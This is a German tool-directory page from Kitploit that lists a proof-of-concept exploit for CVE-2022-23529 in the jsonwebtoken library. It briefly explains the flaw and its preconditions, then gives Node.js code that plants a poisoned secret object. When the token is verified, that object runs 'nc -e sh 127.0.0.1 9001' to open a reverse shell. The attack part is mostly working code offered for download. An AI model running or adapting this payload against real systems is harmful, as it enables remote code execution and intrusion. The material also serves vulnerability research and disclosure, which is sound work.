Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
CVE-2022-23529-Exploration — Proof-of-Concept-Exploit für CVE-2022-23529, der RCE in anfälligen JWT-Bibliotheken über bösartige HMAC-Secret-Objekte demonstriert. | Kitploit
Tools/GitHubGitHub/daniel-marchi/cve-2022-23529-exploration
SchwachstellenanalyseExploitationWebsicherheitPenetrationstestsPayload-Entwicklung
GitHubdaniel-marchi/cve-2022-23529-exploration

CVE-2022-23529-Exploration

Proof-of-Concept-Exploit für CVE-2022-23529, der RCE in anfälligen JWT-Bibliotheken über bösartige HMAC-Secret-Objekte demonstriert.

Repository anzeigen
vor 3 JahrenNoch nicht geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen

CVE-2022-23529

Die JSON-Web-Token (JWT)-Bibliothek in Versionen vor 3.4.6, 4.0.4 und 4.1.5 ist anfällig für RCE.

Die HMAC-Hashfunktionen akzeptieren beliebige Zeichenfolgen als Eingabe, was zu RCE führt.

Aufgrund der Voraussetzungen ist diese Schwachstelle wahrscheinlich nicht ausnutzbar.

Um diese Schwachstelle auszunutzen, müsste ein Angreifer eine der folgenden Bedingungen erfüllen:

  • Der Server speichert geheime Schlüssel nicht sicher.
  • Der Angreifer muss Zugriff auf die geheimen Schlüssel haben und diese kontrollieren können.

npm install [email protected]

var jwt = require('jsonwebtoken');

Erstelle ein Token mit dem Secret des Servers

var token = jwt.sign({"x":"y"}, 'servers_secret');

Erstelle ein schädliches Objekt, das eine Reverse Shell enthält (node.js)

root@kitploit:~
var poisoned_secret_on_server = { 
    toString : ()=> {console.log('PWNED AFTER PASRSING TOKEN');
        process.on('exit', ()=> {
            require('child_process').exec('nc -e sh 127.0.0.1 9001');
        });
        process.exit(0)
    }
}

Der Server verifiziert das Token unter Verwendung des schädlichen Objekts, das als Secret gespeichert ist

jwt.verify(token, poisoned_secret_on_server);

Tool herunterladen